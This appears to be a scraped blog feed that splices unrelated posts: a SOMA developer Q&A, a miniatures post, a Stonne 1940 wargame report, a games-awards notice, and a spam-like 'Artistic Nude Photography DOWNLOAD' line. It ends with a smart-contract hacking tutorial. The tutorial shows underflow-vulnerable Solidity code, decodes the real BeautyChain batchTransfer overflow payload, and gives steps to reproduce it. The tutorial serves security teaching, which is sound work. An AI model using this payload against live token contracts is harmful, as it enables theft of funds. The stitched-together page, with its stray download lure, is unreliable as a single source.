Τρίτη 22 Σεπτεμβρίου 2020

Q&A With Frictional Writer Ian Thomas

On the last day of the cold January Will from Extra Credits sat down to stream SOMA, and for the first few hours of the game he was joined by his friend and Frictional employee Ian Thomas. Ian worked on scripting, coding, and level design for SOMA, and is now the Story Lead on one of Frictional's two upcoming projects. During the stream he answered some questions from the viewers, ranging from what type of pizza he thinks Simon had in his fridge, to ways of minimising dissonance between the player and the character in a narrative game.

In this blog we've compiled the best questions and answers into an easily readable form. So go get a beverage of your choice and dive into the everyday life at Frictional, narrative game design and tips on networking in the industry! Or, if you're not the reading type, you can also watch the whole video on Twitch.

Have some other questions? Hit us up on Twitter and we will try to answer the best we can!

(Picture commentary from your favourite community manager/editor of this blog, Kira.)



Q: Does the Frictional team scare each other at the office?

We didn't have an office until recently, and even now most people are still remote, so not really!

The thing about being behind the scenes in horror is that it's very difficult to scare yourself, and each other, because you know what's going on. We do play each others' levels every other week, and it's always brilliant to get a decent scare out of a coworker.

Otherwise we don't hide in the office cupboards or anything like that… regularly.


Q: Is it true that developers don't actually play their games?

No - we play our games thousands of times, and most developers do!

It does depend on where you sit in the development chain. If you work for a very big company and only do something like facial models, you might rarely play the game until it's close to completion. But in a team the size of Frictional everyone plays the game all the time. That's how we get our primary feedback and develop our levels before the game goes anywhere near alpha testers.


Q: How about after they're released?

Probably not that often. For me personally there are two reasons, which both have to do with time. Firstly, I'm probably already working on a new thing. Secondly, during the short downtime after a release I'm trying to catch up on games I had to put aside during development. But it depends: for example, when I worked on LEGO games I would later play them with friends, because they're so much fun to sit down and co-op play.

For a couple of years after the release you might be fed up with your game and not want to see it, but then you might come back to it fresh. With SOMA I sometimes tune into livestreams, especially if I'm feeling down. That's one of the kicks you get out of this stuff – knowing which parts of the game people are going to react to, and getting to watch those reactions! That's the best payoff.


Q: Did the existential dread of SOMA ever get to the team?

It's a little different for the dev team, as the horror is a slow burn of months and months, whereas for the players it comes in a short burst. The philosophical questions affected people in different ways, but I don't think we broke anyone. As far as I know we're all fine, but given that a lot of us work remotely, it could well be that one of us is deep in Northern Sweden inscribing magical circles in his front room and we just don't know...


Q: Why did SOMA get a Safe Mode?

SOMA was originally released with monsters that could kill you, and that put off some people that were attracted to the themes, the sci-fi and the philosophy, because they saw the game as too scary or too difficult. Thomas and Jens had discussed a possible safe mode early on, but weren't sure it would work. However, after the game came out, someone in the community released the Wuss Mod that removed the monsters, and that and the general interest in the themes of the game made us rethink. So now we've released the official Safe Mode, where the monsters still attack you, but only if you provoke them – and even then they won't kill you.

You can now avoid one of these three death screens!

The concept of death in games is a strange one. All it really means is that you go back to a checkpoint, or reload, and all the tension that's built up goes away. The fact is that game death is pretty dull. It becomes much more interesting when it's a part of a mechanic or of the story. We at Frictional have talked about it internally for a while, but it's something we've never really gotten a satisfactory answer to.

So, all in all, even if you turn on Safe Mode, it's not that much different from playing the game normally.


Q: What type of pizza does Simon have in his fridge?

Meat lovers', definitely.

Schrödinger's pizza! And a Mexicana. Unless they mixed it up at the factory. In which case it's also a Schrödinger's pizza.


Q: What was the funniest or hardest bug to fix in SOMA?

There were so many! You can find some of the stuff in the supersecret.rar file that comes with the installation.

I spent a lot of time fixing David Munshi. His animation really didn't behave and he kept leaping around the place. He was so problematic, especially in this sequence where he was supposed to sit down in a chair and type away at the keyboard. We had so much trouble with that - what if the player had moved the chair? We couldn't lock it in place, because we want the player to be able to mess with these things. We went around trying to come up with an answer for ages.

And then someone on the team went: "Standing desk!". Problem solved! It's silly little things like this which tie up your time.

For all you thirsty Munshi lovers out there. You know who you are.

Another similar element was the Omnitool. It was a fairly major design thing that we came up with to connect the game characters, and to gate scenarios. We were struggling trying to tie these things together, and then it was just one of those days when someone came up with one single idea that solved so many problems. It was a massive design triumph – even if we realised later that the name was a bit Mass Effect!


Q: Why does using items and elements in Frictional's games mimic real movements?

This is one of Thomas's core design principles: making actions like opening doors and turning cranks feel like physical actions. It binds you more closely into the game and the character, on an unconscious level. We've spent an awful lot of time thinking about ways to collapse the player and the character into one and make the player feel like a part of the world. It's a subtle way of feedback that you don't really think about, but it makes you feel like you're "there".

There's an interesting difference between horror games and horror films in this sense. You would think that horror movies are scarier because you're dragged into the action that moves on rails and there's nothing you can do about it. But for me that kind of horror is actually less scary than the kind in games, where you have to be the person to push the stick forward.

We try to implement this feedback loop in other elements of the game too, like the sound design. When a character is scared it makes their heartbeat go up, which makes the player scared, which makes their heartbeat go up in turn, and so on.


Q: Why didn't SOMA reuse enemies?

It obviously would have been much cheaper to reuse the monsters. But in SOMA it was a clear design point, since each of the enemies in SOMA was trying to advance the plot, get across a particular point in the story, or raise a philosophical question. Thus, the enemies were appropriate to a particular space or a piece of plot and it didn't make sense to reuse them.


Q: Did SOMA start with a finished story, or did it change during development?

The story changed massively over the years. I came on to the game a couple of years into development, and at that time there were lots of fixed points and a general path, but still a lot changed around that.  As the game developed, things got cut, they got reorganized, locations changed purpose, and some things just didn't work out.

Building a narrative game is an ever-changing process. With something like a platformer you can build one level, test the mechanics, then build a hundred more similar levels iterating on and expanding those core mechanics. Whereas in a game like this you might build one level in isolation, but that means you don't know what the character is feeling based on what they've previously experienced.

You don't really know if the story is going to work until you put several chapters together. That's why it's also very difficult to test until most of it is in place. Then it might suddenly not work, so you have to change, drop and add things. There's quite a lot of reworking in narrative games, just to make sure you get the feel right and that the story makes sense. You've probably heard the term "kill your darlings" – and that's exactly what we had to do.

A lot of the things were taken out before they were anywhere near complete – they were works in progress that were never polished. Thus these elements are not really "cut content", just rough concepts.


Q: The term "cut content" comes from film, and building a game is closer to architecture or sculpting. Would there be a better name for it?

A pile of leftover bricks in the corner!


Q: How do you construct narrative horror?

Thomas is constantly writing about how the player isn't playing the actual game, but a mental model they have constructed in their head. A lot of our work goes into trying to create that model in their head and not to break it.

A central idea in our storytelling is that there's more going on than the player is seeing. As a writer you need to leave gaps and leave out pieces, and let the player make their own mind up about what connects it all together.

You'll meet a tall, dark stranger...

From a horror point of view there's danger in over-specifying. Firstly having too many details makes the story too difficult to maintain. And secondly it makes the game lose a lot of its mystery. The more you show things like your monsters, the less scary they become. A classic example of this is the difference between Alien and Aliens. In Alien you just see flashes of the creatures and it freaks you out. In Aliens you see more of them, and it becomes less about fear and more about shooting.
It's best to sketch things out and leave it up to the player's imagination to fill in the blanks – because the player's imagination is the best graphics card we have!

There are a lot of references that the superfans have been able to put together. But there are one or two questions that even we as a team don't necessarily know the answers to.


Q: How do you keep track of all the story elements?

During the production of SOMA there was an awful lot of timeline stuff going on. Here we have to thank our Mikael Hedberg, Mike, who was the main writer. He was the one to make sure that all of the pieces of content were held together and consistent across the game. A lot of the things got rewritten because major historical timelines changed too, but Mike kept it together.

During the development we had this weird narrative element we call the double apocalypse. At one point in writing most of the Earth was dead already because of a nuclear war, and then an asteroid hit and destroyed what was left. We went back and forth on that and it became clear that a double apocalypse would be way over the top and coincidental. So we edited the script to what it is now, but this has resulted in the internal term 'that sounds like a double apocalypse', which is when our scripts have become just a bit too unbelievable or coincidental.


Q: How do you convey backstories, lore, and world-building?

Obviously there are clichés like audio logs and walls of text, but there is a trend to do something different with them, or explaining the universe in a different way. But the fundamental problem is relaying a bunch of information to the player, and the further the world is from your everyday 21st century setting, the more you have to explain and the harder it is. So it's understandable that a lot of games do it in the obvious way. The best way I've seen exposition done is by working it into the environment and art, making it part of the world so that the player can discover it rather than shoving it into the player's face.


Q: How do you hook someone who disagrees with the character?

It's hard to get the character to say and feel the same things as what the player is feeling. If you do it wrong it breaks the connection between the player and the character, and makes it far less intense. Ideally, if the player is thinking something, you want the character to be able to echo it. We spend a lot of time taking lines out so the character doesn't say something out of place or contrary to what the player feels.

With philosophical questions there are fixed messages you can make and things you can say about the world, but that will put off a part of the audience. The big thing when setting moral questions or decisions is that you should ask the question instead of giving the answer. If you offer the players a grey area to explore, they might even change their minds about the issue at hand.

To murder or not to murder, that is the question.


Q: How do you write for people who are not scared of a particular monster or setting?

In my experience the trick is to pack as many different types of fear in the game as you can, and picking the phobias that will affect the most people. If there's only one type of horror, it's not going to catch a wide enough audience. Also, if you only put in, say, snakes, anyone who isn't afraid of snakes is going to find it dull.

We probably peaked in our first game. What's worse than spiders? (Not representative of the company's opinion.)


Q: What's the main thing you want to get across in games?

The key thing is that the players have something they will remember when they walk away from the game, or when they talk about it with other people. It's different for different games, and as a developer you decide on the effect and how you want to deliver it. In games like Left 4 Dead delivery might be more about the mechanical design. In other games it's a particular story moment or question.

In SOMA the goal was not to just scare the players as they're looking at the screen, it was about the horror that they would think about after they put the mouse or controller down and were laid in bed thinking about what they'd seen. It was about hitting deeper themes. Sure, we wrapped it in horror, but the real horror was, in a way, outside the game.


Q: What does SOMA stand for?

It has many interpretations, but I think the one Thomas and Mike were going for was the Greek word for body. The game is all about the physicality of the body and its interaction with what could be called the spirit, mind, or soul – the embodiment of you.

The funniest coincidence was when we went to GDC to show the game off to journalists before the official announcement. We hadn't realised there is a district in San Francisco called Soma, so we were sitting in a bar called Soma, in the Soma district, about to announce Soma!

As to why it's spelled in all caps – it happened to look better when David designed the logo!


Q: Does this broken glass look like a monster face on purpose?

I'm pretty sure it's not on purpose – it's just because humans are programmed to see faces all over the place, like socket plugs. It's called pareidolia. But it's something you can exploit - you can trick people into thinking they've seen a monster!

This window is out to get you!


Q: What is the best way to network with the industry people?

Go to industry events, and the bar hangouts afterwards!

It's critical, though, not to treat it as "networking". Let's just call it talking to people, in a room full of people who like the same stuff as you. It's not about throwing your business cards at each other, it's about talking to them and finding common interests. Then maybe a year or two down the line, if you got on, they might remember you and your special skills or interests and contact you. Me being on Will's stream started with us just chatting. And conversations I had in bars five years ago have turned into projects this year.

You have to be good at what you do, but like in most industries, it's really about the people you know. I'm a bit of an introvert myself, so I know it's scary. But once you realise that everybody in the room is probably as scared as you, and that you're all geeks who like the same stuff, it gets easier.
Another good way to make connections is attending game jams. If you haven't taken part in one, go find the nearest one! Go out, help your team, and if you're any good at what you do, people will be working with you soon.


Q: Can you give us some fun facts?

Sure!

- You can blame the "Massive Recoil" DVD in Simon's room on our artist, David. A lot of the things in Simon's apartment are actually real things David has.

- We try to be authentic with our games, but out Finnish sound guy Tapio Liukkonen takes it really far. We have sequences of him diving into a frozen lake with a computer keyboard to get authentic underwater keyboard noises. It's ridiculous.



- Explaining SOMA to the voice actors was challenging – especially to this 65-year-old British thespian, clearly a theatre guy. Watching Mike explain the story to him made me think that the whole situation was silly and the guy wasn't getting the story at all. And then he went into the studio and completely nailed the role.

- There's a lot of game development in Scandinavia, particularly in Sweden and Norway, because it's dark and cold all the time so people just stay indoors and make games. Just kidding… or am I?

Δευτέρα 21 Σεπτεμβρίου 2020

Platic Crack?

Here is a little something I have been waiting on for a bit over six months…. A proof of concept in plastic from another manufacturer.

I am stoked! The quality looks good, the price is right and the turn around time will be good. So why did it take six months then? Because it was free, a test mold and test shots arranged by my old account manager at WGF who has struck out on his own. He asked if I could send him the original files to split and use as a non-retail sample to show other clients. I agreed and after some waiting they arrived! This is only two of the five pose options... As a free test mold we were limited to a single sprue.

No doubt Wai Kee and the old WGF makes incredible plastic, but his shop is always jammed with production, this makes it pretty much impossible for me to look at that as a viable resource for future production or Kickstarter's. I had my doubts that anyone could get close, but I am reeealllly happy with these shots, and as this opens up the door again I am eyeing another Kickstarter.

I am still pulling together all the costs and if it appears to be a real option, I am more than happy to give it a go. This time would be FAR more focused. One kit at a time, with true costs, the molds and production would need to be funded in full for that 'episode'? But if it works, another would be on the heals of the last… Ferals? then StuG? then Shadokesh vehicle or walker… then whatever sounds fun.

With this kind of Kickstarter there would be a very focused goal, drive and costs… We are not so much looking at the typical song and dance hype train. The product would make it or not on its own merits, and cover its true costs.

Soooo what do you think?

Would you like to know more?









Σάββατο 12 Σεπτεμβρίου 2020

Stonne 1940 Big CoC Weekend Part 1


This has been in the pipeline for a few months now, the first public Big CoC public weekend at the WHC. In this first post I'll give some idea of the thought process (sic) behind the game and then I'll give you the scenarios and how the game played out...oh, and there will be a few pics.
Warlord and Crusader French
Mark Freeth was very keen to get an early war 1940 scenario together, initially we toyed with the idea of running a weekend with 2 games running side by side, one containing French and the other BEF taking on the invading Germans. While this was certainly achievable, it involved a few more logistical headaches concerning turning the games around, plus simply having to focus on 2 games at once rather than one. So, in the end we plumped for a single set of scenarios with just the French and Germans.
A small problem with running Big CoC games is that the scenarios are somewhat dependant on the number of players attending, and given the nature of the WHC the numbers can vary, Some players book months in advance, but often people will book relatively late so the scenario needed to be capable of being tweaked to fit this in. The nuts and bolts of the game don't alter that much, the idea being that each player will command an infantry (or armour) platoon, then the force as a whole has a degree of support which is then dished out. On the whole this is not a problem, but for quite a while we were looking at having six players (fine, 3 on 3) then suddenly the numbers went up to seven. My initial reaction was one of mild horror because it meant balancing the game for a three versus four. However, when I started looking at the way the Stonne game might play out, the imbalance of 3 platoons  against 4 became more and more attractive.


A little Panhard 178. It bogged in the ditch......
The battle at Stonne took place over 4 days commencing on 15th May 1940, with the Germans having the Grossdeutschland motorised infantry regiment, and elements of the 10.PzD (Panzer-Regiment 8)
They were encountering in these scenarios the 3e DIM (Division d'Infanterie Motorisée), supported by 3e DCr (Division Cuirassée)
Looking at the platoon lists for CoC the 1940 German infantry platoons are enormous. Each platoon contains 2 senior leaders and a 50mm mortar team plus 4 x 10 man sections, for a total of 44 men.
The French platoons are a similar size, with 2 platoon leaders (1 senior, 1 junior) a VB rifle grenade team of a junior leader with 4 men. plus 3 sections of 11 for a total of 40 men. 

So if we had seven players, with 3 on the German side and 4 for the French it wouldn't be too bad. 1 player a side would be playing a tank platoon anyway, so it would be 2 German infantry platoons against 3 French, however that is actually 8 German sections opposed to 9 French, making it less unbalanced than first appears. A little extra tweaking by making the Germans "superior regulars" meaning they treat rolls on their command dice of a single six also as a 5, giving them more CoC dice pips during the game, plus increasing the size of their panzer II platoon to a whopping 5 vehicles would compensate for the additional French numbers. Additionally, each German platoon would start with a full Chain of Command Dice. 


Poilus advance, CharB in support 
So I worked on that basis, and prepared everything with 7 players in mind, Then of course Mark called and said " I've got an 8th player"......So the superior regular, and the extra CoC dice went out of the window, and the Panzer platoon was cut from 5 down to 4, and the Germans went up to 3 infantry platoons to make it 4 a side. Also the Germans would not have a significant advantage in support points when they were attacking, while the french would.

 Even after this we had another couple of guys wanting to sign up, but at that late stage we sadly had to say no, and stick with 8, as I think a single game with 5 a side is really stretching it for this rule set - not saying its not possible, but I think the game might suffer.
So that is the format we ended up going with, having said that I'm pretty sure the scenarios will work fine with seven (or 5 for that matter) players if the Germans are bumped up a bit to cater for uneven forces.



Panzerjeager I supports Black Tree and Warlord infantry

The other aspect of the games that numbers have an impact on is the size of the table used for each scenario. The recommendation for Big CoC is that the table size should be the same as for normal CoC (6' x 4')  with an additional foot width per additional infantry platoon added - you add nothing for the armour.
Well, The main table at the WHC is 24' long by 6' deep, and so we already play on a depth of 6' which I prefer over 4'. The patrol phase gets forces into action quickly enough anyway, and having the extra depth gives players a bit more room without slowing things down.
Just adding 2 feet per platoon gives us a width of 8' x 6 " which is fine, but the centres' terrain boards are 3' each so it is convenient to go for a slightly larger width of 9'. a bit more room both on the table and for player comfort. That meant that it wasn't too tricky to divide up the table into 3 sections - 9' at each end and then utilise the central 6' and 3' of one of the other sections to give us 3 x 6' x 9' areas.

The point of all this meant I could set up the entire table beforehand, and players go from game to game  with no great interruptions in order to maximise playing time. Also I think it looks good!






Stonne from west to east: Game 1 at the far end, game 2 in the foreground, game 3 in the centre. The Germans are advancing from the north, the French, the south.

I also planned to have a 4th scenario, which would have meant re-setting the terrain at one end of the table- it would have been that which was fought over in game 2 so we could do it while game 3 was in progress giving plenty of time. As it turned out, we didn't get in 4 games over the weekend, a bit of a shame but, sometimes CoC games can be like that, some go faster than others.
The table was made up simply from having a look at Google Earth, backed up with some excellent maps in Prieser's "Blitzkrieg Legend"- to  get the overall topography. Generally the village hasn't changed enormously since 1940, although it was rebuilt there has been no development sprawl, The critical points haven't changed, in terms of the woods, the road layout, and the extent of the village.Being able to get down at street view is an amazing resource, it shows just how winding and steep the only road the Germans had to approach the village from the north was, as it approaches the Butte De Stonne at the Eastern end of the village, and how despite it appearing very flat on the map, the countryside to the west and south actually has quite a lot of small undulations, the view south from the village is somewhat restricted. At the eastern end of the village the countryside is more wooded and broken, with the road becoming sunken before it winds down back on itself down the steep wooded slope to the north of the village (off- table)

Map showing the initial German attack on Stonne, May 15 at 0800. Influenced by Eric Denis' work. (wikipedia)
Given the nature of playing 3 or possibly 4 games over a weekend in a campaign format with 8 CoC novices I thought that the first scenario should probably be a bit gentle in order to ease them into it, and allow them to possibly make a few mistakes without getting horribly punished. I also wanted to keep it relatively simple.
Given the nature of the fighting in Stonne (the village apparently changed hands 17 times in 3 days), it lent itself to a relatively straightforward narrative: i.e. Attack and counterattack- So I decided to make the first game an attack/defence scenario with the Germans on the offensive at the eastern end of the table, the second game was to be another attack/defence with the French on the offensive at the western end of the table. Game 3 was to be in the central area of the table with the Germans attacking in an "attack on an objective" scenario.
I planned a 4th scenario which was to be played out on new terrain to the east of Stonne and that would have been the French conducting a flank attack. However, time sadly ran out. I'm sure we will do it one day.


The View from east to west, the broken ground of the Butte De Stonne in the foreground

The scene was set:
8 players, hopefully 4 games, Germans versus French at Stonne, one of the iconic battles of the campaign.
What were the salient features of the battle? The Germans had crossed the Meuse a couple of days earlier and were trying to exploit that relatively fragile bridgehead, the French had rapidly managed to assemble a counter attack force. The massif of which Stonne is a small part doesn't readily show up on a map, but have a look at Google Earth and you can see just how important it was for both sides. The village itself is rather innocuous, just a farming village with two roads entering from the south, however, it is the terrain to the north which both sides were focused on. There is a single road which leads out of Stonne to the north, this snakes down the hillside along a steep wooded slope before reaching the more gentle plain. The entire northern side of Stonne is covered in thick fir trees which extend down the steep slope- there is nowhere in the village itself (other than the "Butte de Stonne") which has a view to the north. However, if you hold the town and can establish OP's in this wooded hillside you have a magnificent vista stretching out 4 or 5 kilometres and more to the north, the German bridgeheads, and the routes they will take as they expand. Subsequently this tiny Ardennes village became vitally important.   


French section enters central Stonne

Artistic Nude Photography

 

DOWNLOAD

Παρασκευή 4 Σεπτεμβρίου 2020

Grads In Games Awards 2020 - UCLan Nominees Short-Listed.

GREAT NEWS!

We're honoured to see our students and UCLan Games Design course shortlisted for the 'Grads in Games Awards'! Plus TT_Games are short-listed for their Industry Collaboration with UCLan Games and for employing many of our graduates.
Huge thanks to Arthur Parsons, Head of Design at TT_Games for his endless support and encouragement.
https://gradsingames.com/awards/







The UCLan student nominees include, Jakob MacDonald for the 'Student Game Award'.
Jakob is a graduate from UCLan Games Design and is currently studying for his MA and also working in UCLan's Innovation Lab in Danny Livingstone's team.
Jakob has released an App named 'BacteriAR' on iOS and Android. This Augmented Reality game has been developed for the NHS in collaboration with UCLan School of Medicine to raise awareness about the use of antibiotics.






















Another of our students, Simon Ashcroft, who is currently completing his MA, has also been nominated for the 'Student Hero Award' as he has inspired and rallied many of our games students to take part in several games jams and has formed an indie company which we hope to see develop and become successful. Simon won the award for creative excellence for work throughout 2019 given by The Great Northern Creative Expo.






























TT_Games are short-listed for the 'Graduate Employer Award' for the fact that in the last ten years, they have employed over 50 of our students.























Also the University of Central Lancashire and TT_Games, for the 'Industry Collaboration Award' 
Thanks TT_Games for all the opportunities you give to our games design students.
























It's great to see that all those people are shortlisted 😃 😃


https://gradsingames.com/news/the-grads-in-games-awards-shortlist-is-in/

The winners of the Grads in Games Awards will be announced on April 16th, on the evening of the GamesEd conference, at the National Videogame Museum in Sheffield.


https://gradsingames.com/news/the-grads-in-games-awards-judges-2020/




Δευτέρα 31 Αυγούστου 2020

Smart Contract Hacking Chapter 3 – Attacking Integer Underflows And Overflows

 

Integer overflow and underflows often occur when user supplied data controls the value of an unsigned integer. The user supplied data either adds to or subtracts beyond the limits the variable type can hold. If you remember back to your computer science class, each variable type can hold up to a certain value length. You will also remember some variable types only hold positive numbers while others hold positive and negative numbers.  The types of numbers they are allowed to hold is based on their "signedness." An unsigned integer can only hold positive numbers while a signed integer can hold positive and negative numbers. We will get to the significance of that in a short bit.

If you violate the value constraints of the variable type you are using, the application may act in unintended ways. For example, the overflow may result in an error condition for accessing out of bounds items or perhaps cutting the number off at the maximum or minimum value. This usually depends on the language in use, the context in which the value is used or the decisions taken by the programmer when flagging error conditions. If un-handled, the error from an attacker's perspective is usually an opportunity for exploitation.

For example, if you were calculating a number for an authorization check within an application and the calculation contains an unchecked value with user-controlled data. Then an attacker may be able to bypass authorization restrictions with that user-controlled data and gain additional access to unintended services. For example, overflowing a larger unsigned value to a more advantageous value, such as zero or one, these lower values could bypass security checks. The first ("1") value in a dataset is often indicative of an administrator who set up the application and may create a situation to persist actions with administrative context.

In the Solidity language for Ethereum, when we overflow a uint value using a value larger than our uint can hold, the value wraps back around to a number it understands. The lowest or highest possible value the uint can hold. For example, if we have a variable that can only hold a 2-digit number when the number 99 is reached and then incremented one more time, we will end up with 00. Inversely if we had 00 and we decremented 1 we would end up with 99.

Normally in your math class the following would be true:

99 + 1 = 100

00 - 1 = -1

 

In solidity with unsigned numbers the following is true:

99 + 1 = 00

00 - 1 = 99

 

 

So, the issue lies with the assumption that a number will provide a correct value in mathematical calculations when indeed it does not. Comparing a variable with a require statement is not sufficiently accurate after performing a mathematical operation that overflows a value, but that does not check that the value is accurate in the context of the mathematical operation.

In an overflow conditions the comparison with a require statement may very well be comparing the output of an over/under flowed value and be completely meaningless. The "Require" statement may return true, but not based on the actual intended mathematical value.

This in turn will lead to an action performed which is beneficial to the attacker, for example, checking a low value required for a funds validation but then receiving a very high value sent to the attacker after the initial check. Let's go through a few examples.


Simple Underflow Example:

Let's say we have the following Require check as an example:

1.  require (balance - withdraw_amount > 0);

  

Now the above statement seems reasonable, if the users balance minus the withdrawal amount is less than 0 then obviously, they don't have the money for this transaction correct?

This transaction should fail and produce an error because not enough funds are held within the account for the transaction. But what if we have 5 dollars and we withdraw 6 dollars using the scenario above and our variable can hold 2 digits with an unsigned integer?

Let's do some math.

5 - 6 = 99

Last I checked 99 is greater than 0 which poses an interesting problem. Our check says we are good to go, but our account balance isn't large enough to cover the transaction. The check will pass because the underflow creates the wrong value which is greater than 0 and more funds then the user has will be transferred out of the account.

Because the following math returns true:

1.   require (99 > 0) 

 

 

Withdraw Function Vulnerable to an underflow

The below example snippet of code illustrates a withdraw function with an underflow vulnerability:

1.    function withdraw(uint _amount){
2.           require(balances[msg.sender] - _amount > 0);
3.           msg.sender.transfer(_amount);
4.                   balances[msg.sender] -= _amount;
5.    }

In this example, the require on line 2 checks that the balance is greater than 0 after subtracting the _amount. However, if the _amount is greater than the balance, it will underflow resulting in a large value greater than 0. So even though the require check should fail the check will return a true value.

After the check is under flowed, it will send the value of the original _amount on line 3 to the recipient without any further checks resulting in sending more funds then the user has.

To make matters worse, on line 4 another underflow exists, which increases the value of the senders account due to a similar underflow condition, even though the balance should have been reduced based on application logic.

Depending on how the "require" check and transfer functions are coded, the attacker may not lose any funds at all, while still transferring large sums of Ether to other accounts under the attacker's control. The attacker would achieve this by simply under flowing the require statements which checks the account balance before transferring funds each time.


Transfer Function Vulnerable to a Batch Overflow

Overflow conditions often happen in situations where you are sending a batched amount of values to multiple recipients. If you are performing an airdrop, sending tokens to 200 users, each receiving a large sum of tokens, checking the total sum of all users' tokens against the total funds may trigger an overflow. The logic when overflowed would compare a smaller value of overflowed tokens to the total tokens and seem like you have enough to cover the transaction.

For example, if your integer can only hold 5 digits in length or 00,000 what would happen in the below scenario?

You have 10,000 tokens in your account

You are sending 200 users 499 tokens each

Your total sent is 200*499 or 99,800

 

The above scenario should fail, and it does, since we have 10,000 tokens and want to send a total of 99,800. But what if we send 500 tokens each? Let's do some more math and see how that changes the outcome.

 

You have 10,000 tokens in your account

You are sending 200 users 500 tokens each

Your total sent is 200*500 or 100,000

New total is actually 0

 

This new scenario produces a total that is 0 even though each users amount is only 500 tokens. This may cause issues if a require statement is not handled with safe math functions to sanitize the mathematical output.

 

Let's take our new numbers and plug them into the below code and see what happens:

1.    uint total = _users.length * _tokens;
2.    require(balances[msg.sender] >= total);
3.    balances[msg.sender] = balances[msg.sender] -total;
4.   
5.    for(uint i=0; i < users.length; i++){ 
6.                   balances[_users[i]] = balances[_users[i]] + _value;

 

Below is the same code, but substituting the variables for our scenario's real values:

1.    uint total = _200 * 500;
2.    require(10,000 >= 0);
3.    balances[msg.sender] = 10,000 - 0;
4.   
5.    for(uint i=0; i < 500; i++){ 
6.                   balances[_recievers[i]] = balances[_recievers[i]] + 500;

 

 

Batch Overflow Code line by line Explanation:

1: The total variable equals 100,000 which becomes 0 due to the 5-digit limit. When a 6th digit is hit at 99,999 + 1 the total now becomes 0.

2: This line checks if the users balance is higher than the total value to be sent. Which in this case is 0 so 10,000 is more than enough and this check passes due to the overflow.

 

3: This line deducts the total from the sender's balance which does nothing since the total of 10,000 - 0 is 10,000.  The sender has lost no funds.

4-5: This loop iterates over the 200 users who each get 500 tokens and updates the balances of each user individually using the real value of 500 and this individual action does not trigger an overflow condition. Thus, sending out 100,000 tokens without reducing the sender's balance or triggering an error due to lack of funds. This is essentially creating tokens out of thin air.

In this scenario the user retained all of their tokens but was able to distribute 100k tokens across 200 users regardless if they had the proper funds to do so.

 

ERC20 Beauty Chain Batch Overflow Case-Study

Now that we understand what overflows and underflows are, we are going to take a closer look at a real-life hyperinflation attack from 2018. When a bunch of erc20 tokens incorrectly checked the results of mathematical calculations. This lack of safe checks led to exchanges freezing all erc20 token transfers.  We will first exploit this code from the original attack. We will then re-code the smart contract to protect against this attack.

The effected tokens in this attack used an insecure batch send function that was not protected from integer overflows. This is similar to our batch send example above. This vulnerability was copy pasted into many different tokens and when exploited it forced exchanges to suspend all erc20 token transfers until the issue was resolved.


ü   Let's first pull down the code and take a look at the vulnerable function.
ü   Then we will take a look at the actual payload on etherscan from the real attack to decipher 
     how it happened.
ü   Then we will exploit it ourselves.
ü   Then we will fix the issue and test our fix.

 

Action Steps:

ü   Review the following lines of code and see if you can spot the vulnerability

ü    Follow the attack on EtherScan and understand how the attack works

ü    Then watch the video walk and talk to solidify the process

 

 

Walkthrough of The Vulnerable Function

Below is the function from the ERC20 contract which had the initial vulnerability.  Also, a link to view the code for yourself on etherscan.  Just do ctrl+f search for the batch transfer function on the contract page.

https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code

 

1.  function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
2.          uint cnt = _receivers.length;
3.          uint256 amount = uint256(cnt) * _value;
4.          require(cnt > 0 && cnt <= 20);
5.          require(_value > 0 && balances[msg.sender] >= amount);
6.   
7.   
8.          balances[msg.sender] = balances[msg.sender].sub(amount);
9.          for (uint i = 0; i < cnt; i++) {
10.        balances[_receivers[i]] = balances[_receivers[i]].add(_value);
11.              Transfer(msg.sender, _receivers[i], _value);
12.       }
13.      return true;
14.}

 

The issue with this function is it's performing a balance check against the amount on line 5 but that amount value comes from a mathematical operation on line 3 which has an overflow vulnerability.

You will see that the amount results from multiplying the length of the array times the value being sent. Since there are no checks that this mathematical operation does not overflow to a value lower than our balance, we can easily set the amount to 0 using a very large number as our _value.

When the actual balances are updated on line 10, we are not using the amount of 0, but instead we are using the initial large _value sent to the function, but this time there is no multiplication,  so it does not cause an overflow, it only updates the value to a very large number. 


Video Walking Through Vulnerable Code On-Chain:




 

Reviewing the Real Attack Transaction

Now let's take a look at an actual transaction that caused this overflow attack.

Below is the transaction from the overflow attack.  Also, a link to view the transaction for yourself on etherscan.  Just click the "click to see more" button and check out the "input data" section.

https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f


Function: batchTransfer(address[] _receivers, uint256 _value)

MethodID: 0x83f12fec

[0]:  0000000000000000000000000000000000000000000000000000000000000040

[1]:  8000000000000000000000000000000000000000000000000000000000000000

[2]:  0000000000000000000000000000000000000000000000000000000000000002

[3]:  000000000000000000000000b4d30cac5124b46c2df0cf3e3e1be05f42119033

[4]:  0000000000000000000000000e823ffe018727585eaf5bc769fa80472f76c3d7

 

If you reviewed the transaction on chain you would see the above transaction data.

Let's go into a little detail as to what the transaction values are and how they were derived. This will help in understanding what is going on with this attack.

The data in the transaction can be broken down as the following

ü  A 4byte MethodID

ü  Five 32-byte values

The 4-byte MethodID which precedes the function parameters is the first 4 bytes of a sha3 hash of the batchTransfer method declaration minus the variable names and spaces. We can derive this sha3 value from the transaction by using the web3 utility functions and a substring of the sha3 output.

You can try this out with the following node commands.


$ npm install web3

$ node

> const web3 = require('web3')

> web3.utils.sha3("batchTransfer(address[],uint256)").substring(0,10)

'0x83f12fec'


The 5 parameters following the MethodID are defined as follows:

[0] Offset to the _recievers Array, length value: 40Hex or 64 bytes (2x32 = 64bytes to the Array length held at [2])

[1] This is the actual _value which is being sent that when multiplied causes an overflow. (A very large number)

[2] This is the size of the _recievers array sent to batch transfer in this case 2 addresses

[3] This is the first address from the _recievers array used in the batch transfer.

[4] This is the second address from the _recievers array used in the batch transfer.

 

Reviewing a Live On-Chain Attack Transaction: 



 

So, what this attack did was take a very large value from [2] and multiplied it times the length of the array which is the value 2. This creates an overflow condition that results in the value of 0.  Don't believe me, let's do it for ourselves with a simple function that calculates the value sent times two.

 

1.  pragma solidity ^0.6.6;
2.   
3.  contract noAuth {
4.          function amount(uint256 myAmount) public returns(uint){
5.              return myAmount * 2;
6.          }  
7.  }

 

 

Action Steps:

ü  Deploy the contract from above.

ü  First put in a low number like 5 and review the output window, what do you get?

ü  Now put in the attack value in hex for aka 0xnumber 0x8000000000000000000000000000000000000000000000000000000000000000

ü  What happened?

 

